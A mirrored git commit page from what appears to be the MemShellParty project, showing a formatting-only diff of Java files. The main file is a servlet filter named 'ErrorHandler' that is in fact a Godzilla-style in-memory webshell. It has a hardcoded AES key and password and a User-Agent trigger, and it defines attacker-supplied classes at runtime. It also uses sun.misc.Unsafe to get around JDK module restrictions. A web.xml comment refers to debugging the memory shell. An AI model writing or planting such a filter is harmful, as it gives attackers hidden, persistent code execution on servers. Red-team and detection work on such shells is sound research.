mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-25 00:11:52 +08:00
style: code format
This commit is contained in:
@@ -1,25 +1,27 @@
|
||||
import jakarta.servlet.Filter;
|
||||
import jakarta.servlet.FilterChain;
|
||||
import jakarta.servlet.ServletException;
|
||||
import jakarta.servlet.ServletRequest;
|
||||
import jakarta.servlet.ServletResponse;
|
||||
import jakarta.servlet.*;
|
||||
import jakarta.servlet.http.HttpServletRequest;
|
||||
import jakarta.servlet.http.HttpServletResponse;
|
||||
import jakarta.servlet.http.HttpSession;
|
||||
|
||||
import javax.crypto.Cipher;
|
||||
import javax.crypto.spec.SecretKeySpec;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import javax.crypto.Cipher;
|
||||
import javax.crypto.spec.SecretKeySpec;
|
||||
|
||||
public class ErrorHandler extends ClassLoader implements Filter {
|
||||
public static boolean isBypassModule;
|
||||
|
||||
static {
|
||||
byPassJdkModule();
|
||||
}
|
||||
|
||||
public String key = "7b74f5d44e20fd71";
|
||||
public String pass = "passFilter";
|
||||
public String md5 = "6DA9A394180B0155C7CC6714A0B2179E";
|
||||
public String headerName = "User-Agent";
|
||||
public String headerValue = "test";
|
||||
public static boolean isBypassModule;
|
||||
|
||||
public ErrorHandler() {
|
||||
}
|
||||
@@ -28,6 +30,66 @@ public class ErrorHandler extends ClassLoader implements Filter {
|
||||
super(var1);
|
||||
}
|
||||
|
||||
public static String base64Encode(byte[] bs) throws Exception {
|
||||
String value = null;
|
||||
|
||||
try {
|
||||
Class<?> base64 = Class.forName("java.util.Base64");
|
||||
Object encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null);
|
||||
value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
|
||||
} catch (Exception var61) {
|
||||
try {
|
||||
Class<?> base64 = Class.forName("sun.misc.BASE64Encoder");
|
||||
Object encoder = base64.newInstance();
|
||||
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
|
||||
} catch (Exception var5) {
|
||||
}
|
||||
}
|
||||
|
||||
return value;
|
||||
}
|
||||
|
||||
public static byte[] base64Decode(String bs) {
|
||||
byte[] value = null;
|
||||
|
||||
try {
|
||||
Class<?> base64 = Class.forName("java.util.Base64");
|
||||
Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null);
|
||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var61) {
|
||||
try {
|
||||
Class<?> base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var5) {
|
||||
}
|
||||
}
|
||||
|
||||
return value;
|
||||
}
|
||||
|
||||
public static Object byPassJdkModule() {
|
||||
Boolean var0 = false;
|
||||
|
||||
try {
|
||||
Class var1 = Class.forName("sun.misc.Unsafe");
|
||||
Field var2 = var1.getDeclaredField("theUnsafe");
|
||||
var2.setAccessible(true);
|
||||
Object var3 = var2.get((Object) null);
|
||||
Method var4 = Class.class.getMethod("getModule");
|
||||
Object var5 = var4.invoke(Object.class, (Object[]) null);
|
||||
Method var6 = var3.getClass().getMethod("objectFieldOffset", Field.class);
|
||||
Field var7 = Class.class.getDeclaredField("module");
|
||||
Long var8 = (Long) var6.invoke(var3, var7);
|
||||
Method var9 = var3.getClass().getMethod("getAndSetObject", Object.class, Long.TYPE, Object.class);
|
||||
var9.invoke(var3, ErrorHandler.class, var8, var5);
|
||||
var0 = true;
|
||||
} catch (Exception var10) {
|
||||
}
|
||||
|
||||
return var0;
|
||||
}
|
||||
|
||||
public Class<?> Q(byte[] cb) {
|
||||
return super.defineClass(cb, 0, cb.length);
|
||||
}
|
||||
@@ -44,8 +106,8 @@ public class ErrorHandler extends ClassLoader implements Filter {
|
||||
|
||||
@Override
|
||||
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain chain) throws ServletException, IOException {
|
||||
HttpServletRequest request = (HttpServletRequest)servletRequest;
|
||||
HttpServletResponse response = (HttpServletResponse)servletResponse;
|
||||
HttpServletRequest request = (HttpServletRequest) servletRequest;
|
||||
HttpServletResponse response = (HttpServletResponse) servletResponse;
|
||||
|
||||
try {
|
||||
if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) {
|
||||
@@ -60,7 +122,7 @@ public class ErrorHandler extends ClassLoader implements Filter {
|
||||
|
||||
Object f;
|
||||
try {
|
||||
f = ((Class)session.getAttribute("payload")).newInstance();
|
||||
f = ((Class) session.getAttribute("payload")).newInstance();
|
||||
} catch (IllegalAccessException | InstantiationException e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
@@ -80,68 +142,4 @@ public class ErrorHandler extends ClassLoader implements Filter {
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
public static String base64Encode(byte[] bs) throws Exception {
|
||||
String value = null;
|
||||
|
||||
try {
|
||||
Class<?> base64 = Class.forName("java.util.Base64");
|
||||
Object encoder = base64.getMethod("getEncoder", (Class[])null).invoke(base64, (Object[])null);
|
||||
value = (String)encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
|
||||
} catch (Exception var61) {
|
||||
try {
|
||||
Class<?> base64 = Class.forName("sun.misc.BASE64Encoder");
|
||||
Object encoder = base64.newInstance();
|
||||
value = (String)encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
|
||||
} catch (Exception var5) {
|
||||
}
|
||||
}
|
||||
|
||||
return value;
|
||||
}
|
||||
|
||||
public static byte[] base64Decode(String bs) {
|
||||
byte[] value = null;
|
||||
|
||||
try {
|
||||
Class<?> base64 = Class.forName("java.util.Base64");
|
||||
Object decoder = base64.getMethod("getDecoder", (Class[])null).invoke(base64, (Object[])null);
|
||||
value = (byte[])decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var61) {
|
||||
try {
|
||||
Class<?> base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[])decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var5) {
|
||||
}
|
||||
}
|
||||
|
||||
return value;
|
||||
}
|
||||
|
||||
public static Object byPassJdkModule() {
|
||||
Boolean var0 = false;
|
||||
|
||||
try {
|
||||
Class var1 = Class.forName("sun.misc.Unsafe");
|
||||
Field var2 = var1.getDeclaredField("theUnsafe");
|
||||
var2.setAccessible(true);
|
||||
Object var3 = var2.get((Object)null);
|
||||
Method var4 = Class.class.getMethod("getModule");
|
||||
Object var5 = var4.invoke(Object.class, (Object[])null);
|
||||
Method var6 = var3.getClass().getMethod("objectFieldOffset", Field.class);
|
||||
Field var7 = Class.class.getDeclaredField("module");
|
||||
Long var8 = (Long)var6.invoke(var3, var7);
|
||||
Method var9 = var3.getClass().getMethod("getAndSetObject", Object.class, Long.TYPE, Object.class);
|
||||
var9.invoke(var3, ErrorHandler.class, var8, var5);
|
||||
var0 = true;
|
||||
} catch (Exception var10) {
|
||||
}
|
||||
|
||||
return var0;
|
||||
}
|
||||
|
||||
static {
|
||||
byPassJdkModule();
|
||||
}
|
||||
}
|
||||
|
||||
@@ -2,6 +2,7 @@ import jakarta.servlet.ServletException;
|
||||
import jakarta.servlet.http.HttpServlet;
|
||||
import jakarta.servlet.http.HttpServletRequest;
|
||||
import jakarta.servlet.http.HttpServletResponse;
|
||||
|
||||
import java.io.IOException;
|
||||
|
||||
/**
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<web-app
|
||||
xmlns="https://jakarta.ee/xml/ns/jakartaee"
|
||||
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
||||
xmlns="https://jakarta.ee/xml/ns/jakartaee"
|
||||
xsi:schemaLocation="https://jakarta.ee/xml/ns/jakartaee https://jakarta.ee/xml/ns/jakartaee/web-app_5_0.xsd"
|
||||
version="5.0"
|
||||
metadata-complete="false"
|
||||
@@ -40,7 +40,6 @@
|
||||
</servlet-mapping>
|
||||
|
||||
|
||||
|
||||
<!-- 用于调试 filter 内存马 -->
|
||||
<!-- <filter>-->
|
||||
<!-- <filter-name>godzilla</filter-name>-->
|
||||
|
||||
Reference in New Issue
Block a user